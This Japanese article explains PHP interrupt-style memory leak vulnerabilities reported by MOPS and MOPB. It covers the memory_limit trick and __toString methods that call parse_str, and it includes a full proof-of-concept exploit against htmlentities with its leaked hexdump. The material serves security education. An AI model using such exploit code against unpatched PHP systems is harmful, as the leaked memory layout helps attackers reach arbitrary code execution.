なぜPHPアプリにセキュリティホールが多いのか?

第33回MOPS:解放済のリソースへのアクセス

前回「PHPセキュリティ月間」MOPS - Month of PHP Securityについて簡単に紹介しました。

MOPSのバグレポートには「PHP関数への割り込みによるメモリ情報リーク」が数多くレポートされています。今回はこの「PHP関数への割り込みによるメモリ情報リーク」とは何か解説します。

PHP関数への割り込みによるメモリ情報リーク

この脆弱性はMOPSプロジェクトの前身といえるMOPB(Month of PHP Bugs)プロジェクトによって明らかにされたPHPのセキュリティ問題です。PHPのコードに何らかの形で、通常の実行状態では起きない割り込みを発生させ、メモリに不整合を起こさせる攻撃です。

この攻撃にはいくつかの手法が知られています。

memory_limitを利用する方法

PHPには、PHPが利用しているメモリ量を制限する機能があり、コンパイル時のオプションで有効にできます。ほとんどのPHPバイナリディストリビューションで有効にされている機能です。 メモリ制限を利用する方法はMOPBで紹介された割り込み方法で、現在のPHPでは利用できない攻撃方法です。

MOPBではmb_parse_str関数の脆弱性が紹介されています。

メモリ制限エラーの割り込みにより通常の実行パスから制御が移り、php.ini設定のregister_globals設定がonの状態のままになってしまう脆弱性です。

メモリ制限機能が有効な場合でメモリ制限までメモリを利用するとE_ERRORのエラーが発生します。メモリ制限のエラーはコマンドラインから簡単に確認できます(注:64bit環境やメモリが少ない環境でメモリ制限のないPHPで下記のコードを実行するとSWAPを使い尽くす可能性があります⁠⁠。

コード:関数の無限再帰呼び出し
<?php
function f() {
   f();
}

f();
?>
出力結果:メモリ制限でE_ERRORが発生する
PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 523800 bytes) in - on line 3

この脆弱性はメモリ制限エラーの発生により、コードの実行パスが変更された結果セキュリティ上の問題が発生した例ですが、ユーザ定義エラーハンドラを用いるとさまざまな割り込み攻撃が可能であることが知られています。

最近のPHPではset_error_handler関数で設定したユーザ定義エラーハンドラはE_ERRORレベルのエラーが取り扱えなくなっているため、メモリ制限を利用した方法は利用できなくなっています。

しかし、E_ERRORレベルのエラーがユーザ定義エラーハンドラによって取り扱えなくなったため、不都合も発生しています。メモリ制限のエラー以外にも通常のパースエラーもE_ERRORレベルのエラーを発生させます。古いPHPではパースエラーやメモリ制限エラーもユーザ定義エラーハンドラで処理できたため、エラーを記録したり、エラー発生をメールなどで通知することが可能でした。

セキュリティ上の問題が解決することはよいのですが、パースエラーやメモリエラーが発生したことを通知できないことは運用上好ましくないことも多いです。このため、筆者の個人WikiではE_ERRORをユーザ定義エラーハンドラで有効にするパッチを公開しています。

PHP 5.0用のパッチですが、1行パッチなのでほかのバージョンのPHPに適用することも簡単です。パッチを適用することは簡単ですが、悪質なコードが実行される可能性がある環境では使用しないでください。

__toStringメソッドを利用する方法

__toStringメソッドを利用する攻撃の可能性はMOPBが開始された2007年ごろからセキュリティ上の話題として取り上げられていました。その後、調査が進み__toStringメソッドを利用した攻撃方法が次々に見つかりました。MOPSで公開されたバグの多くは__toStringメソッドを利用した場合の攻撃方法です。

htmlentities/htmlspecialchars関数のバグを例に、__toStringメソッドを利用した攻撃がどのような攻撃か紹介します。

__toStringメソッドを利用した攻撃だけではメモリ情報が取得できるだけです。この脆弱性だけで任意コード実行などの攻撃を行う事はできません。しかし、この攻撃で得られるメモリ情報には任意コード実行を成功させる為に必要な情報が含まれています。

攻撃の動作原理

文字列型のパラメータを複数もつ関数に対して、グローバル変数のリファレンスと__toStringメソッド内でリファレンスとして渡した変数にアクセスするオブジェクトを作成し、__toStringメソッド内でparset_str関数を用いてグローバル変数をパースすると、PHP変数を保存したハッシュテーブルが破壊され、メモリ情報がリークします。

htmlentities/htmlspecialcharsの場合は次のようなコードを実行します。

htmlentities(&$GLOBALS['var'], 0, new dummy())

new dummy()で生成されるオブジェクトには攻撃用の__toStringメソッドが実装されています。

class dummy
{
    function __toString()
    {                       
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "";
    }
}

parse_str関数はPHP内部で特殊な方法で変数を設定していたため、変数を保存したハッシュテーブルの構造が破壊されメモリ情報がリークします(この問題はPHP 5.3.3/PHP 5.2.14で修正済⁠⁠。

PoC(実証コード)全体は以下のようになっています(hexdump関数の定義は省略⁠⁠。

<?php
class dummy
{
    function __toString()
    {                       
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);      
}

/* Trigger the Code */
$x = html_entity_decode(htmlentities(&$GLOBALS['var'], 0, new dummy()), 0, "iso-8859-1");
hexdump($x);

html_entitiy_decodeでiso-8859-1としてデコードしているのはバイナリとして$xを取り扱うためにデコードしています。

この実証コードを筆者のMacBook(Intel CPU/OSX 10.6/PHP 5.3.2)で実行すると以下のようにメモリ内容がダンプされます。

PHP Deprecated:  Call-time pass-by-reference has been deprecated in - on line 22
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 30 4E B8 00 01 00 00 00   ........0N......
00000020: 30 4E B8 00 01 00 00 00 30 4E B8 00 01 00 00 00   0N......0N......
00000030: 68 8C B8 00 01 00 00 00 BD CD 30 00 01 00 00 00   h.........0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

攻撃の利用価値

なぜこの攻撃が攻撃者にとって有用なのかはPHPのハッシュの実装を理解すれば分かります。詳しい解説は省略しますが、PHPのハッシュはデータが削除された場合にメモリを正しく解放するためのデストラクタが呼び出される仕組みになっています。デストラクタのアドレスがどのアドレスに記載されているのか分かれば、デストラクタのアドレスを攻撃用のコードを保存したアドレスに書き換えることができれば任意コードの実行が可能になります。

その他の割り込み攻撃

このほかにもPHPのソースコード実行順序とは異なる場所でPHPのコードが実行される場合があります。ユーザ定義エラーハンドラ以外にユーザ定義例外ハンドラが利用できます。実際にはユーザ定義ストリームハンドラ、ユーザ定義出力バッファハンドラなど、ハンドラと呼ばれるものの多くが割り込み攻撃に利用することができます。

これらのハンドラはあらかじめ何らかのイベンドが発生した際に自動的に実行されるコードとして登録され、イベントが発生した場合に実行中のPHPスクリプトに割り込む形で実行されます。つまり、PHPプログラマが予期していないタイミングで変数を作ったり、削除したりすることができます。

まとめ

MOPSでは非常に多くの__toStringメソッドを利用したメモリ情報リークが報告されました。最新のPHP 5.3.3/PHP 5.2.14ではparse_str関数の動作が見直されたため、この脆弱性を利用した既知の攻撃方法は筆者の知る限りありません。

PHPではこのようなメモリアクセスの不具合がセキュリティ上の脆弱性としてレポートされています。これは多くのPHPが共有環境で利用されていることが一つの要因です。PHPが提供するsafe_modeやopen_basedir、disable_functions、disable_classesはフェイルセーフとしては有用ですが、共有環境で信頼できるセキュリティ対策ではないことに留意してください。

非常に多くのセキュリティ脆弱性が報告されていることに不安を持った方も居るかも知れませんが、PHP以外の言語ではこの種のメモリリークがセキュリティ上の脆弱性と報告されることはありません。⁠自分で自分の足を打つ」ようなコードはセキュリティ上の問題だと認識されていないからです。

MOPSで多く取り上げられた割り込みを利用した攻撃を簡単に解説しました。次回もMOPSの話題を掲載します。

おすすめ記事

記事・ニュース一覧